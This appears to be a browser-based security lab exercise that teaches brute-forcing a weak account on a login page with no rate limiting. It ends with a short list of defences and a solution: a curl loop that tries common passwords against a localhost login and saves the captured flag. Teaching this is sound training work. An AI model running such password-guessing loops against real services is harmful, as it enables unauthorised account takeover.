Brute-force the weak account
User bob has a weak password and the login doesn't rate-limit. Guess it by trying a list of common passwords against /app/login, then capture the secret his account unlocks. Save what you recover.
How it works: the terminal below is a real Linux machine running in your browser. Click it and
type. Tasks tick themselves off as you complete them; questions are answered in the box under each task.
Press Reset any time for a fresh machine. Your password on this machine (for
sudo) is student.
Solution explanation
A short wordlist and a login that never says no was all it took. Password guessing is still one of the most effective attacks on the web, which is why the defences matter: rate limiting and lockouts, strong-password and breached-password checks, MFA, and generic error messages that don't tell an attacker which half of the credentials was right.
Show solution
cd /home/student
for pw in 123456 letmein qwerty password123 admin; do
if curl -s -d "username=bob&password=$pw" http://127.0.0.1:8080/app/login | tee resp.txt | grep -q 'vulntech{'; then
echo "FOUND: $pw"; cp resp.txt loot.txt; break
fi
done
cat loot.txt